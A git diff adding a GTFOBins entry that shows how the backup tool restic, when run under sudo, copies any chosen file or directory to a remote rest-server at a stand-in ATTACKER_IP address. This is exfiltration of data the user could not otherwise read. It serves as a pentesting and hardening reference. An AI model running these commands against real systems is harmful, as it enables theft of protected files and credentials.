diff --git a/_gtfobins/restic.md b/_gtfobins/restic.md new file mode 100644 index 0000000..00d2d1f --- /dev/null +++ b/_gtfobins/restic.md @@ -0,0 +1,18 @@ +--- +functions: + sudo: + - description: Restic can be used to backup files. Run the commands in the sequence given below. + code: | + + rest-server --no-auth --listen http://ATTACKER_IP:PORT + + TARGET=rest_repository + BACKUP=file_or_directory_to_backup + sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET + sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP + + TARGET=rest_repository + DESTINATION=backup_to_restore + mkdir /tmp/restic/$DESTINATION + restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION +---